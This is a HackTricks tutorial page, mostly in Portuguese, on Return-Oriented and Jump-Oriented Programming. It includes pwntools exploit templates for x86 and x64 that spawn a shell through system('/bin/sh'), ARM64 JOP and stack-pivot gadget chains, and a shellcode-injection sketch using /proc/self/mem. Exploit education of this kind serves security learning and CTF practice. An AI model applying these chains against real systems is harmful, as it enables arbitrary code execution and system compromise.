ROP & JOP
Tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
Informações Básicas
Return-Oriented Programming (ROP) é uma técnica avançada de exploração usada para contornar medidas de segurança como No-Execute (NX) ou Data Execution Prevention (DEP). Em vez de injetar e executar shellcode, um atacante aproveita pedaços de código já presentes no binário ou em bibliotecas carregadas, conhecidos como “gadgets”. Cada gadget tipicamente termina com uma instrução ret e executa uma pequena operação, como mover dados entre registradores ou realizar operações aritméticas. Ao encadear esses gadgets, um atacante pode construir um payload para executar operações arbitrárias, efetivamente contornando as proteções NX/DEP.
Como o ROP Funciona
- Control Flow Hijacking: Primeiro, um atacante precisa sequestrar o fluxo de controle de um programa, tipicamente explorando um buffer overflow para sobrescrever um endereço de retorno salvo na stack.
- Gadget Chaining: O atacante então seleciona cuidadosamente e encadeia gadgets para executar as ações desejadas. Isso pode envolver preparar argumentos para uma chamada de função, chamar a função (por exemplo,
system("/bin/sh")) e lidar com qualquer limpeza ou operações adicionais necessárias. - Payload Execution: Quando a função vulnerável retorna, em vez de retornar para um local legítimo, começa a executar a cadeia de gadgets.
Ferramentas
Tipicamente, gadgets podem ser encontrados usando ROPgadget, ropper ou diretamente do pwntools (ROP).
ROP Chain in x86 Example
x86 (32-bit) Calling conventions
- cdecl: The caller cleans the stack. Function arguments are pushed onto the stack in reverse order (right-to-left). Arguments are pushed onto the stack from right to left.
- stdcall: Similar to cdecl, but the callee is responsible for cleaning the stack.
Finding Gadgets
Primeiro, vamos supor que identificamos os gadgets necessários dentro do binário ou de suas bibliotecas carregadas. Os gadgets que nos interessam são:
pop eax; ret: Esse gadget desempilha o valor do topo da stack para o registradorEAXe então retorna, permitindo controlarEAX.pop ebx; ret: Similar ao anterior, mas para o registradorEBX, possibilitando controlarEBX.mov [ebx], eax; ret: Move o valor emEAXpara a localização de memória apontada porEBXe depois retorna. Isso é frequentemente chamado de write-what-where gadget.- Além disso, temos o endereço da função
system()disponível.
ROP Chain
Usando pwntools, preparamos a stack para a execução da ROP chain da seguinte forma visando executar system('/bin/sh'), note como a chain começa com:
- Uma instrução
retpara propósitos de alinhamento (opcional) - Endereço da função
system(supondo ASLR desativado e libc conhecida, mais info em Ret2lib) - Espaço reservado para o endereço de retorno de
system() "/bin/sh"endereço da string (parâmetro para a função system)
from pwn import *
# Assuming we have the binary's ELF and its process
binary = context.binary = ELF('your_binary_here')
p = process(binary.path)
# Find the address of the string "/bin/sh" in the binary
bin_sh_addr = next(binary.search(b'/bin/sh\x00'))
# Address of system() function (hypothetical value)
system_addr = 0xdeadc0de
# A gadget to control the return address, typically found through analysis
ret_gadget = 0xcafebabe # This could be any gadget that allows us to control the return address
# Construct the ROP chain
rop_chain = [
ret_gadget, # This gadget is used to align the stack if necessary, especially to bypass stack alignment issues
system_addr, # Address of system(). Execution will continue here after the ret gadget
0x41414141, # Placeholder for system()'s return address. This could be the address of exit() or another safe place.
bin_sh_addr # Address of "/bin/sh" string goes here, as the argument to system()
]
# Flatten the rop_chain for use
rop_chain = b''.join(p32(addr) for addr in rop_chain)
# Send ROP chain
## offset is the number of bytes required to reach the return address on the stack
payload = fit({offset: rop_chain})
p.sendline(payload)
p.interactive()
ROP Chain in x64 Example
x64 (64-bit) Calling conventions
- Usa a System V AMD64 ABI calling convention em sistemas Unix-like, onde os primeiros seis argumentos inteiros ou ponteiros são passados nos registradores
RDI,RSI,RDX,RCX,R8, eR9. Argumentos adicionais são passados na pilha. O valor de retorno é colocado emRAX. - Windows x64 calling convention usa
RCX,RDX,R8, eR9para os primeiros quatro argumentos inteiros ou ponteiros, com argumentos adicionais passados na pilha. O valor de retorno é colocado emRAX. - Registers: registradores de 64-bit incluem
RAX,RBX,RCX,RDX,RSI,RDI,RBP,RSP, eR8atéR15.
Encontrando Gadgets
Para nosso propósito, vamos nos focar em gadgets que nos permitam definir o registrador RDI (para passar a string “/bin/sh” como argumento para system()) e então chamar a função system(). Vamos supor que identificamos os seguintes gadgets:
- pop rdi; ret: Retira o valor do topo da pilha para RDI e então retorna. Essencial para definir nosso argumento para system().
- ret: Um simples retorno, útil para alinhamento da pilha em alguns cenários.
E sabemos o endereço da função system().
ROP Chain
Abaixo está um exemplo usando pwntools para montar e executar uma ROP chain com o objetivo de executar system(‘/bin/sh’) em x64:
from pwn import *
# Assuming we have the binary's ELF and its process
binary = context.binary = ELF('your_binary_here')
p = process(binary.path)
# Find the address of the string "/bin/sh" in the binary
bin_sh_addr = next(binary.search(b'/bin/sh\x00'))
# Address of system() function (hypothetical value)
system_addr = 0xdeadbeefdeadbeef
# Gadgets (hypothetical values)
pop_rdi_gadget = 0xcafebabecafebabe # pop rdi; ret
ret_gadget = 0xdeadbeefdeadbead # ret gadget for alignment, if necessary
# Construct the ROP chain
rop_chain = [
ret_gadget, # Alignment gadget, if needed
pop_rdi_gadget, # pop rdi; ret
bin_sh_addr, # Address of "/bin/sh" string goes here, as the argument to system()
system_addr # Address of system(). Execution will continue here.
]
# Flatten the rop_chain for use
rop_chain = b''.join(p64(addr) for addr in rop_chain)
# Send ROP chain
## offset is the number of bytes required to reach the return address on the stack
payload = fit({offset: rop_chain})
p.sendline(payload)
p.interactive()
Neste exemplo:
- Utilizamos o gadget
pop rdi; retpara definirRDIpara o endereço de"/bin/sh". - Pulamos diretamente para
system()após configurarRDI, com o endereço de system() na cadeia. ret_gadgeté usado para alinhamento se o ambiente alvo exigir, o que é mais comum em x64 para garantir o alinhamento correto da stack antes de chamar funções.
Stack Alignment
The x86-64 ABI garante que a stack esteja alinhada em 16 bytes quando uma call instruction é executada. LIBC, para otimizar o desempenho, usa instruções SSE (como movaps) que exigem esse alinhamento. Se a stack não estiver alinhada corretamente (ou seja, RSP não for múltiplo de 16), chamadas para funções como system irão falhar em uma ROP chain. Para corrigir isso, simplesmente adicione um ret gadget antes de chamar system na sua ROP chain.
x86 vs x64 main difference
Tip
Como x64 usa registradores para os primeiros argumentos, frequentemente requer menos gadgets que x86 para chamadas de função simples, mas encontrar e encadear os gadgets certos pode ser mais complexo devido ao maior número de registradores e ao espaço de endereçamento maior. O maior número de registradores e o espaço de endereçamento ampliado na arquitetura x64 oferecem tanto oportunidades quanto desafios para o desenvolvimento de exploits, especialmente no contexto de Return-Oriented Programming (ROP).
ROP chain in ARM64
A respeito de ARM64 Basics & Calling conventions, consulte a página a seguir para essa informação:
[!DANGER] É importante notar que, ao saltar para uma função usando ROP em ARM64, você deve saltar para a segunda instrução da função (no mínimo) para evitar armazenar na stack o stack pointer atual e acabar em um loop eterno chamando a função repetidamente.
Finding gadgets in system Dylds
As bibliotecas do sistema vêm compiladas em um único arquivo chamado dyld_shared_cache_arm64. Este arquivo contém todas as bibliotecas do sistema em formato comprimido. Para baixar este arquivo do dispositivo móvel você pode fazer:
scp [-J <domain>] root@10.11.1.1:/System/Library/Caches/com.apple.dyld/dyld_shared_cache_arm64 .
# -Use -J if connecting through Corellium via Quick Connect
Em seguida, você pode usar algumas ferramentas para extrair as bibliotecas reais do arquivo dyld_shared_cache_arm64:
brew install keith/formulae/dyld-shared-cache-extractor
dyld-shared-cache-extractor dyld_shared_cache_arm64 dyld_extracted
Agora, para encontrar gadgets interessantes para o binary que você está explorando, primeiro você precisa saber quais bibliotecas estão carregadas pelo binary. Você pode usar lldb* para isso:
lldb ./vuln
br s -n main
run
image list
Finalmente, você pode usar Ropper para encontrar gadgets nas bibliotecas do seu interesse:
# Install
python3 -m pip install ropper --break-system-packages
ropper --file libcache.dylib --search "mov x0"
JOP - Jump Oriented Programming
JOP é uma técnica similar ao ROP, mas cada gadget, em vez de usar uma instrução RET ao final do gadget, it uses jump addresses. Isso pode ser particularmente útil em situações onde ROP não é viável, como quando não existem gadgets adequados disponíveis. Isso é comumente usado em arquiteturas ARM, onde a instrução ret não é tão comumente usada como nas arquiteturas x86/x64.
Você pode usar ferramentas rop para encontrar JOP gadgets também, por exemplo:
cd usr/lib/system # (macOS or iOS) Let's check in these libs inside the dyld_shared_cache_arm64
ropper --file *.dylib --search "ldr x0, [x0" # Supposing x0 is pointing to the stack or heap and we control some space around there, we could search for Jop gadgets that load from x0
Vamos ver um exemplo:
-
Existe um heap overflow que nos permite sobrescrever um function pointer armazenado no heap que será chamado.
-
x0está apontando para o heap onde controlamos algum espaço -
Das bibliotecas do sistema carregadas, encontramos os seguintes gadgets:
0x00000001800d1918: ldr x0, [x0, #0x20]; ldr x2, [x0, #0x30]; br x2;
0x00000001800e6e58: ldr x0, [x0, #0x20]; ldr x3, [x0, #0x10]; br x3;
- Podemos usar o primeiro gadget para carregar
x0com um ponteiro para/bin/sh(armazenado no heap) e então carregarx2dex0 + 0x30com o endereço desysteme saltar para ele.
Stack Pivot
Stack pivoting é uma técnica usada em exploitation para mudar o ponteiro de pilha (RSP em x64, SP em ARM64) para apontar para uma área de memória controlada, como o heap ou um buffer na pilha, onde o atacante pode colocar seu payload (normalmente um ROP/JOP chain).
Examples of Stack Pivoting chains:
- Exemplo com apenas 1 gadget:
mov sp, x0; ldp x29, x30, [sp], #0x10; ret;
The `mov sp, x0` instruction sets the stack pointer to the value in `x0`, effectively pivoting the stack to a new location. The subsequent `ldp x29, x30, [sp], #0x10; ret;` instruction loads the frame pointer and return address from the new stack location and returns to the address in `x30`.
I found this gadget in libunwind.dylib
If x0 points to a heap you control, you can control the stack pointer and move the stack to the heap, and therefore you will control the stack.
0000001c61a9b9c:
ldr x16, [x0, #0xf8]; // Control x16
ldr x30, [x0, #0x100]; // Control x30
ldp x0, x1, [x0]; // Control x1
mov sp, x16; // Control sp
ret; // ret will jump to x30, which we control
To use this gadget you could use in the heap something like:
<address of x0 to keep x0> # ldp x0, x1, [x0]
<address of gadget> # Let's suppose this is the overflowed pointer that allows to call the ROP chain
"A" * 0xe8 (0xf8-16) # Fill until x0+0xf8
<address x0+16> # Lets point SP to x0+16 to control the stack
<next gadget> # This will go into x30, which will be called with ret (so add of 2nd gadget)
- Exemplo múltiplos gadgets:
// G1: Typical PAC epilogue that restores frame and returns
// (seen in many leaf/non-leaf functions)
G1:
ldp x29, x30, [sp], #0x10 // restore FP/LR
autiasp // **PAC check on LR**
retab // **PAC-aware return**
// G2: Small helper that (dangerously) moves SP from FP
// (appears in some hand-written helpers / stubs; good to grep for)
G2:
mov sp, x29 // **pivot candidate**
ret
// G3: Reader on the new stack (common prologue/epilogue shape)
G3:
ldp x0, x1, [sp], #0x10 // consume args from "new" stack
ret
G1:
stp x8, x1, [sp] // Store at [sp] → value of x8 (attacker controlled) and at [sp+8] → value of x1 (attacker controlled)
ldr x8, [x0] // Load x8 with the value at address x0 (controlled by attacker, address of G2)
blr x8 // Branch to the address in x8 (controlled by attacker)
G2:
ldp x29, x30, [sp], #0x10 // Loads x8 -> x29 and x1 -> x30. The value in x1 is the value for G3
ret
G3:
mov sp, x29 // Pivot the stack to the address in x29, which was x8, and was controlled by the attacker possible pointing to the heap
ret
Shellcode via /proc/self/mem (Embedded Linux)
Se você já tem um ROP chain mas no RWX mappings, uma alternativa é escrever shellcode no processo atual usando /proc/self/mem e então pular para ele. Isso é comum em alvos Embedded Linux onde /proc/self/mem pode ignorar as proteções de escrita em segmentos executáveis em configurações padrão.
Ideia típica da chain:
fd = open("/proc/self/mem", O_RDWR);
lseek(fd, target_addr, SEEK_SET); // e.g., a known RX mapping or code cave
write(fd, shellcode, shellcode_len);
((void(*)())target_addr)(); // ARM Thumb: jump to target_addr | 1
If preserving fd is hard, calling open() multiple times can make it feasible to guess the descriptor used for /proc/self/mem. On ARM Thumb targets, remember to set the low bit when branching (addr | 1).
Protections Against ROP and JOP
- ASLR & PIE: Essas proteções tornam mais difícil o uso de ROP, pois os endereços dos gadgets mudam entre execuções.
- Stack Canaries: Em um BOF, é necessário contornar o stack canary armazenado para sobrescrever ponteiros de retorno e abusar de uma cadeia ROP.
- Lack of Gadgets: Se não houver gadgets suficientes, não será possível gerar uma cadeia ROP.
ROP based techniques
Notice that ROP is just a technique in order to execute arbitrary code. Based in ROP a lot of Ret2XXX techniques were developed:
- Ret2lib: Usa ROP para chamar funções arbitrárias de uma biblioteca carregada com parâmetros arbitrários (geralmente algo como
system('/bin/sh').
- Ret2Syscall: Usa ROP para preparar uma chamada a um syscall, e.g.
execve, e fazê-lo executar comandos arbitrários.
- EBP2Ret & EBP Chaining: O primeiro abusará de EBP em vez de EIP para controlar o fluxo e o segundo é semelhante ao Ret2lib, mas neste caso o fluxo é controlado principalmente com endereços EBP (embora também seja necessário controlar o EIP).
Other Examples & References
- https://ir0nstone.gitbook.io/notes/types/stack/return-oriented-programming/exploiting-calling-conventions
- https://guyinatuxedo.github.io/15-partial_overwrite/hacklu15_stackstuff/index.html
- 64 bit, Pie and nx enabled, no canary, overwrite RIP with a
vsyscalladdress with the sole purpose or return to the next address in the stack which will be a partial overwrite of the address to get the part of the function that leaks the flag - https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/
- arm64, no ASLR, ROP gadget to make stack executable and jump to shellcode in stack
- https://googleprojectzero.blogspot.com/2019/08/in-wild-ios-exploit-chain-4.html
References
Tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.


